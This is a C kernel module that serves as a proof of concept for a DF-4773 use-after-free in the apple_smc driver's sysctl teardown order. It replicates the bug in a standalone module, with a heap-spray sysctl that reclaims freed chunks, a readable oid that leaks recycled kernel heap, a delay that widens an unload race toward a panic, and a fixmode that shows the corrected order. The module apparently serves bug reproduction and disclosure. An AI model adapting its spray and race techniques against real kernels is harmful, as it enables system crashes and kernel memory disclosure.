/*
 * DF-4773 PoC — apple_smc sysctl teardown-order UAF (DF-4647 family).
 *
 * sys/dev/apple/smc/smc.c:503-547 apple_smc_detach() frees the sensor key
 * strings (sc_temp_sensors[] etc., lines 507-512) and releases all backend
 * state, but NONE of the per-device sysctl oids it registered
 * (dev.acpi_APP0001.<n>.temperature.*, .voltage.*, .fan.* — handlers in
 * smc_sysctl.c dereference sc->sc_*_sensors[] and sc) are removed there.
 * The oids live on in the device sysctl context until newbus' device_delete
 * -> device_sysctl_fini() -> sysctl_ctx_free() runs LATER.  Two windows:
 *
 *  (1) deterministic: any sysctl read that lands between detach() freeing
 *      the strings and sysctl_ctx_free() (e.g. during kldunload apple_smc)
 *      executes apple_smc_temp_sysctl (smc_sysctl.c:169-184) ->
 *      sc->sc_temp_sensors[arg2] is a FREED heap pointer handed to
 *      apple_smc_sensor_read() as the 4-byte SMC key.  On the ISA backend
 *      the handler then runs apple_smc_key_read -> SMC_LOCK on an
 *      lockuninit'd lock and bus_write_1(sc->sc_ioport == NULL, ...)
 *      (smc.h:110) -> NULL-page write -> panic.
 *
 *  (2) race: kern_sysctl.c:391's oid_running drain is DEAD CODE (nothing
 *      increments oid_running; no wakeup exists), so an in-flight handler
 *      is never waited for when sysctl_ctx_free kfrees the oids and the
 *      module text is unmapped by kldunload — DF-4647, same kernel.
 *
 * The Apple SMC cannot attach under QEMU (the SMC handshake needs real
 * hardware answering the ISA/MMIO protocol; QEMU returns 0xFF and
 * apple_smc_init() fails before any oid is registered), so this module
 * replicates apple_smc's exact teardown CONTRACT with generic primitives:
 *
 *   - a fake softc with sensor key chunks (== smc.c:725-727) + a handler
 *     that dereferences them (== apple_smc_temp_sysctl, smc_sysctl.c:179)
 *   - "detach" frees the chunks first, oid removal happens only at
 *     module unload (== device_delete ordering)
 *
 * sysctl kern.df4773.detach=1   free the backing store (== smc.c:507-512);
 *                               oids stay live; later reads are UAF reads
 * sysctl kern.df4773.spray=1    reclaim the freed chunk with marker data
 * sysctl kern.df4773.sensor0    read before/after detach+spray — value
 *                               flips from the sensor marker to the spray
 *                               pattern: recycled kernel heap returned to
 *                               userspace through the still-registered oid.
 *
 * Panic race: run hammer.sh in the background (loop-reads the oid; the
 * handler tsleeps 20 ms inside), then `kldunload df4773` — the un-drained
 * in-flight handler is left executing while sysctl_ctx_free kfrees the oid
 * and the linker unmaps the module text.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/malloc.h>
#include <sys/types.h>
#include <sys/kthread.h>

#define DF4773_SENSOR_MARKER	0x0A5A5A5A	/* "sensor key" value */
#define DF4773_SPRAY_MARKER	0xDEADBEEF	/* reclaim pattern */
#define DF4773_NSENSORS		4

struct df4773_softc {
	char	*sensor_keys[DF4773_NSENSORS];	/* == sc_temp_sensors[] */
	int	nkeys;
};

static struct df4773_softc df4773_sc_static;	/* == device softc */
static struct df4773_softc *df4773_sc = &df4773_sc_static;
static int df4773_detached;
static int df4773_delay_ms = 20;	/* in-handler dwell for the race */
static int df4773_fixmode;		/* 1: remove oids BEFORE freeing
					 * (== fix.diff order) */

/*
 * == device_get_sysctl_ctx(dev): the dynamic oid context the driver
 * registers its sensor oids in; freed at device_delete time (module
 * unload here) — or, with the fix, at the top of detach.
 */
static struct sysctl_ctx_list df4773_ctx;

MALLOC_DEFINE(M_DF4773, "df4773", "DF-4773 PoC");

/*
 * == apple_smc_temp_sysctl (smc_sysctl.c:169-184): bounds-check arg2,
 * then dereference sc->sc_temp_sensors[arg2] — the string the real driver
 * passes to the SMC as the 4-byte key.  Here the "sensor read" surfaces
 * the first 4 bytes of that heap chunk to userspace so the UAF read is
 * observable; the dwell models the SMC round-trip latency that widens
 * the detach race.
 */
static int
df4773_temp_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct df4773_softc *sc = arg1;
	int val = -1;
	int ticks;

	if (arg2 < 0 || arg2 >= sc->nkeys)	/* smc_sysctl.c:176 */
		return (EINVAL);

	/* SMC round-trip dwell (widens the in-flight window) */
	ticks = (df4773_delay_ms * hz + 999) / 1000;
	if (ticks > 0)
		tsleep(&df4773_sc, 0, "df4773d", ticks);

	/*
	 * UAF READ: after "detach", sensor_keys[arg2] points to freed heap.
	 */
	val = *(volatile int *)(void *)sc->sensor_keys[arg2];

	return (sysctl_handle_int(oidp, &val, 0, req));
}

static void
df4773_attach(void)
{
	int i;

	bzero(df4773_sc, sizeof(*df4773_sc));
	df4773_sc->nkeys = DF4773_NSENSORS;
	for (i = 0; i < DF4773_NSENSORS; i++) {
		/* == smc.c:725-727 kmalloc(KEYLEN+1) + memcpy */
		df4773_sc->sensor_keys[i] = kmalloc(sizeof(int),
		    M_DF4773, M_WAITOK | M_ZERO);
		*(int *)(void *)df4773_sc->sensor_keys[i] =
		    DF4773_SENSOR_MARKER;
	}
	df4773_detached = 0;

	/*
	 * == smc.c: SYSCTL_ADD_PROC(sysctlctx, ..., apple_smc_temp_sysctl)
	 * in the device sysctl context (dynamic oid, dynamic ctx).
	 */
	sysctl_ctx_init(&df4773_ctx);
	SYSCTL_ADD_PROC(&df4773_ctx, SYSCTL_STATIC_CHILDREN(_kern),
	    OID_AUTO, "df4773_sensor0",
	    CTLTYPE_INT | CTLFLAG_RD | CTLFLAG_ANYBODY,
	    &df4773_sc_static, 0, df4773_temp_sysctl, "I",
	    "temperature sensor 0 (dereferences sc->sensor_keys[0])");
}

/*
 * The real fix (fix.diff) calls sysctl_ctx_free() from device_detach
 * context, where NO sysctl lock is held.  A sysctl handler CANNOT call
 * sysctl_remove_oid() itself: userland_sysctl() holds the per-cpu
 * sysctllock SHARED across the whole handler invocation (kern_sysctl.c:
 * 1572-1574) and sysctl_remove_oid() needs it EXCLUSIVE — self-deadlock
 * (verified deterministically on the guest).  So the replica performs
 * the oid removal in a dedicated kernel thread, mirroring detach ctx.
 */
static void
df4773_remover_thread(void *arg __unused)
{
	/* == fix.diff: sysctl_ctx_free(device_get_sysctl_ctx(dev)) at the
	 * TOP of apple_smc_detach, from detach (thread) context */
	sysctl_ctx_free(&df4773_ctx);
	kprintf("df4773: detach(fixmode): oid ctx freed BEFORE freeing"
	    " backing store\n");
	wakeup(&df4773_detached);
	kthread_exit();
}

/*
 * == apple_smc_detach (smc.c:503-512): frees the sensor strings FIRST;
 * oids are NOT removed here (they die at device_delete, i.e. module
 * unload in this replica).  With df4773_fixmode=1 the fix.diff ordering
 * is used instead: oids removed first, then the strings freed.
 */
static void
df4773_detach(void)
{
	int i;

	if (df4773_detached || df4773_sc == NULL)
		return;
	if (df4773_fixmode) {
		/* == fix.diff: oid ctx freed at the TOP of detach, from
		 * detach (thread) context — a handler cannot call
		 * sysctl_ctx_free itself: userland_sysctl holds the
		 * per-cpu sysctllock SHARED across handler invocation
		 * (kern_sysctl.c:1572-1574) and ctx_free needs it
		 * EXCLUSIVE — verified self-deadlock on the guest */
		kthread_create(df4773_remover_thread, NULL, NULL,
		    "df4773rem");
		tsleep(&df4773_detached, 0, "df4773r", hz);
	}
	for (i = 0; i < df4773_sc->nkeys; i++)
		kfree(df4773_sc->sensor_keys[i], M_DF4773);
	/* softc itself stays allocated (device softc dies at device_delete) */
	df4773_detached = 1;
	kprintf("df4773: detach: %d sensor key chunks freed; sysctl oids"
	    " %s (== smc.c:507-512 before device_delete)\n",
	    DF4773_NSENSORS,
	    df4773_fixmode ? "removed first (fixed order)" :
	    "STILL REGISTERED (buggy order)");
}

static int
df4773_detach_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = 0;
	int error;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (v == 1)
		df4773_detach();
	return (0);
}

static int
df4773_fixmode_sysctl(SYSCTL_HANDLER_ARGS)
{
	return (sysctl_handle_int(oidp, &df4773_fixmode, 0, req));
}

static int
df4773_spray_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = 0;
	int error;
	void *p;
	int i;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (v == 1 && df4773_detached) {
		/* reclaim the just-freed chunks with marker data */
		for (i = 0; i < 8; i++) {
			p = kmalloc(sizeof(int), M_DF4773, M_WAITOK | M_ZERO);
			*(int *)p = DF4773_SPRAY_MARKER;
		}
		kprintf("df4773: spray: 8 chunks reclaimed with 0x%08x\n",
		    DF4773_SPRAY_MARKER);
	}
	return (0);
}

static int
df4773_delay_sysctl(SYSCTL_HANDLER_ARGS)
{
	return (sysctl_handle_int(oidp, &df4773_delay_ms, 0, req));
}

SYSCTL_PROC(_kern, OID_AUTO, df4773_detach, CTLTYPE_INT | CTLFLAG_RW,
    NULL, 0, df4773_detach_sysctl, "I", "run the apple_smc_detach replica");
SYSCTL_PROC(_kern, OID_AUTO, df4773_spray, CTLTYPE_INT | CTLFLAG_RW,
    NULL, 0, df4773_spray_sysctl, "I",
    "reclaim freed chunks with marker data");
SYSCTL_PROC(_kern, OID_AUTO, df4773_delay, CTLTYPE_INT | CTLFLAG_RW,
    NULL, 0, df4773_delay_sysctl, "I", "handler dwell in ms");
SYSCTL_PROC(_kern, OID_AUTO, df4773_fixmode, CTLTYPE_INT | CTLFLAG_RW,
    NULL, 0, df4773_fixmode_sysctl, "I",
    "1 = remove oid before freeing (fix.diff order)");

static int
df4773_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		df4773_attach();
		kprintf("df4773: loaded (fake softc %p, sensor marker "
		    "0x%08x)\n", df4773_sc, DF4773_SENSOR_MARKER);
		break;
	case MOD_UNLOAD:
		/*
		 * == device_delete -> device_sysctl_fini: the STATIC oids
		 * declared above are unregistered HERE by the module glue,
		 * long after the backing store died.  The oid_running
		 * drain in kern_sysctl.c:391 never sleeps (dead code), so
		 * any in-flight reader is not waited for.
		 */
		if (!df4773_detached)
			df4773_detach();
		if (!df4773_fixmode) {
			/*
			 * == device_delete -> device_sysctl_fini:
			 * the oid ctx dies HERE — after the backing store
			 * already died at "detach" (the DF-4773 window).
			 */
			sysctl_ctx_free(&df4773_ctx);
		}
		kprintf("df4773: unload: oid removal happens NOW — after"
		    " backing free (the DF-4773 window)\n");
		break;
	default:
		return (EOPNOTSUPP);
	}
	return (0);
}

static moduledata_t df4773_mod = { "df4773", df4773_modevent, 0 };
DECLARE_MODULE(df4773, df4773_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
